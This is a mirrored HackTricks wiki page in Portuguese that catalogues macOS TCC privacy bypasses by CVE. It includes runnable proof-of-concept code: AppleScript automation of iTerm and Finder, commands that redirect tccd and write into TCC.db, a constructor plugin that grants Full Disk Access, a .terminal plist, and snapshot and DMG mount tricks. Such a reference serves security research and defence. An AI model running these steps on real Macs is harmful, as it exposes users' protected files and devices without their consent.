Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 21:53:54 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses.md

20 KiB
Raw Blame History

Bypasses do macOS TCC

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Por funcionalidade

Bypass de Escrita

Isso não é um bypass, é apenas como o TCC funciona: Ele não protege contra escrita. Se o Terminal não tiver acesso para ler a área de trabalho de um usuário, ainda poderá escrever nela:

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

O atributo estendido com.apple.macl é adicionado ao novo arquivo para dar acesso ao aplicativo criador para lê-lo.

Bypass SSH

Por padrão, o acesso via SSH terá "Acesso total ao disco". Para desativar isso, você precisa ter isso listado, mas desativado (removê-lo da lista não removerá esses privilégios):

Aqui você pode encontrar exemplos de como alguns malwares conseguiram contornar essa proteção:

{% hint style="danger" %} Observe que agora, para poder habilitar o SSH, você precisa de "Acesso total ao disco". {% endhint %}

Manipular extensões - CVE-2022-26767

O atributo com.apple.macl é atribuído a arquivos para dar permissões a um determinado aplicativo para lê-lo. Esse atributo é definido quando arrastamos e soltamos um arquivo sobre um aplicativo ou quando um usuário clica duas vezes em um arquivo para abri-lo com o aplicativo padrão.

Portanto, um usuário poderia registrar um aplicativo malicioso para manipular todas as extensões e chamar os Serviços de Lançamento para abrir qualquer arquivo (assim, o arquivo malicioso terá acesso para lê-lo).

iCloud

A permissão com.apple.private.icloud-account-access permite a comunicação com o serviço XPC com.apple.iCloudHelper, que fornecerá tokens do iCloud.

O iMovie e o Garageband tinham essa permissão e outras que permitiam.

Para mais informações sobre a exploração para obter tokens do iCloud dessa permissão, confira a palestra: #OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / Automação

Um aplicativo com a permissão kTCCServiceAppleEvents poderá controlar outros aplicativos. Isso significa que ele poderá abusar das permissões concedidas aos outros aplicativos.

Para mais informações sobre Scripts da Apple, confira:

{% content-ref url="macos-apple-scripts.md" %} macos-apple-scripts.md {% endcontent-ref %}

Por exemplo, se um aplicativo tiver permissão de Automação sobre o iTerm, por exemplo, neste exemplo o Terminal tem acesso ao iTerm:

Sobre o iTerm

O Terminal, que não tem Acesso total ao disco, pode chamar o iTerm, que tem, e usá-lo para executar ações:

{% code title="iterm.script" %}

tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell

{% endcode %}

osascript iterm.script

Sobre o Finder

Ou se um aplicativo tem acesso sobre o Finder, ele pode executar um script como este:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Por comportamento do aplicativo

CVE-2020–9934 - TCC

O daemon tccd do espaço do usuário usa a variável de ambiente HOME para acessar o banco de dados de usuários do TCC em: $HOME/Library/Application Support/com.apple.TCC/TCC.db

De acordo com esta postagem no Stack Exchange e porque o daemon TCC está sendo executado via launchd no domínio do usuário atual, é possível controlar todas as variáveis de ambiente passadas para ele.
Assim, um atacante poderia definir a variável de ambiente $HOME no launchctl para apontar para um diretório controlado, reiniciar o daemon TCC e, em seguida, modificar diretamente o banco de dados do TCC para conceder a si mesmo todas as permissões do TCC disponíveis sem nunca solicitar ao usuário final.
PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - Notas

As notas tinham acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é criada em um local não protegido. Portanto, você poderia pedir para as notas copiarem um arquivo protegido em uma nota (ou seja, em um local não protegido) e, em seguida, acessar o arquivo:

CVE-2021-XXXX - Translocação

O binário /usr/libexec/lsd com a biblioteca libsecurity_translocate tinha a permissão com.apple.private.nullfs_allow, que permitia criar um mount nullfs e tinha a permissão com.apple.private.tcc.allow com kTCCServiceSystemPolicyAllFiles para acessar todos os arquivos.

Era possível adicionar o atributo de quarentena à "Library", chamar o serviço XPC com.apple.security.translocation e, em seguida, mapear a Library para $TMPDIR/AppTranslocation/d/d/Library, onde todos os documentos dentro da Library poderiam ser acessados.

Rastreamento SQL

Se a variável de ambiente SQLITE_AUTO_TRACE estiver definida, a biblioteca libsqlite3.dylib começará a registrar todas as consultas SQL. Muitos aplicativos usavam essa biblioteca, então era possível registrar todas as consultas SQLite deles.

Vários aplicativos da Apple usavam essa biblioteca para acessar informações protegidas pelo TCC.

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

Apple Remote Desktop

Como root, você pode habilitar esse serviço e o agente ARD terá acesso total ao disco, o que pode ser abusado por um usuário para fazer com que ele copie um novo banco de dados de usuário TCC.

Por plugins

Plugins são códigos extras geralmente na forma de bibliotecas ou plist, que serão carregados pela aplicação principal e executarão sob seu contexto. Portanto, se a aplicação principal tiver acesso aos arquivos restritos do TCC (por meio de permissões concedidas ou direitos), o código personalizado também terá acesso.

CVE-2020-27937 - Directory Utility

A aplicação /System/Library/CoreServices/Applications/Directory Utility.app tinha o direito kTCCServiceSystemPolicySysAdminFiles, carregava plugins com a extensão .daplug e não tinha o tempo de execução endurecido.

Para aproveitar essa CVE, o NFSHomeDirectory é alterado (abusando do direito anterior) para poder assumir o banco de dados TCC dos usuários e contornar o TCC.

Para mais informações, consulte o relatório original.

CVE-2020-29621 - Coreaudiod

O binário /usr/sbin/coreaudiod tinha os direitos com.apple.security.cs.disable-library-validation e com.apple.private.tcc.manager. O primeiro permite a injeção de código e o segundo dá acesso para gerenciar o TCC.

Esse binário permitia carregar plug-ins de terceiros da pasta /Library/Audio/Plug-Ins/HAL. Portanto, era possível carregar um plugin e abusar das permissões do TCC com este PoC:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

Para mais informações, consulte o relatório original.

Plug-ins da Camada de Abstração de Dispositivos (DAL)

Aplicativos do sistema que abrem o fluxo da câmera via Core Media I/O (aplicativos com kTCCServiceCamera) carregam esses plug-ins no processo localizados em /Library/CoreMediaIO/Plug-Ins/DAL (não restritos pelo SIP).

Apenas armazenar uma biblioteca com o construtor comum funcionará para injetar código.

Vários aplicativos da Apple eram vulneráveis a isso.

Por injeção de processo

Existem diferentes técnicas para injetar código em um processo e abusar de seus privilégios TCC:

{% content-ref url="../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Firefox

O aplicativo Firefox ainda é vulnerável, tendo a permissão com.apple.security.cs.disable-library-validation:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

Para mais informações sobre como explorar facilmente isso, verifique o relatório original.

CVE-2020-10006

O binário /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl tinha as permissões com.apple.private.tcc.allow e com.apple.security.get-task-allow, o que permitia injetar código dentro do processo e usar os privilégios do TCC.

CVE-2023-26818 - Telegram

O Telegram tinha as permissões com.apple.security.cs.allow-dyld-environment-variables e com.apple.security.cs.disable-library-validation, então era possível abusar disso para acessar suas permissões, como gravar com a câmera. Você pode encontrar o payload no artigo.

Por invocações abertas

É possível invocar o comando open em um ambiente sandbox.

Scripts do Terminal

É bastante comum dar ao terminal Acesso Total ao Disco (FDA), pelo menos em computadores usados por pessoas de tecnologia. E é possível invocar scripts .terminal usando isso.

Os scripts .terminal são arquivos plist, como este com o comando a ser executado na chave CommandString:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

Uma aplicação poderia escrever um script de terminal em um local como /tmp e executá-lo com um comando como:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

Por montagem

CVE-2020-9771 - Bypass do TCC do mount_apfs e escalonamento de privilégios

Qualquer usuário (mesmo os não privilegiados) pode criar e montar um snapshot do Time Machine e acessar TODOS os arquivos desse snapshot.
O único privilégio necessário é para o aplicativo usado (como o Terminal) ter Acesso Total ao Disco (FDA) (kTCCServiceSystemPolicyAllfiles), que precisa ser concedido por um administrador.

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

Uma explicação mais detalhada pode ser encontrada no relatório original.

CVE-2021-1784 & CVE-2021-30808 - Montagem sobre arquivo TCC

Mesmo que o arquivo TCC DB esteja protegido, era possível montar sobre o diretório um novo arquivo TCC.db:

{% code overflow="wrap" %}

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg

{% endcode %}

# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

Verifique o exploit completo no artigo original.

asr

A ferramenta /usr/sbin/asr permitia copiar todo o disco e montá-lo em outro local, contornando as proteções do TCC.

Serviços de Localização

Existe um terceiro banco de dados do TCC em /var/db/locationd/clients.plist para indicar os clientes autorizados a acessar os serviços de localização.
A pasta /var/db/locationd/ não estava protegida contra montagem de DMG, então era possível montar nosso próprio plist.

Por meio de aplicativos de inicialização

{% content-ref url="../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

Por meio do comando grep

Em várias ocasiões, arquivos armazenam informações sensíveis como e-mails, números de telefone, mensagens... em locais não protegidos (o que é considerado uma vulnerabilidade na Apple).

Referência

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥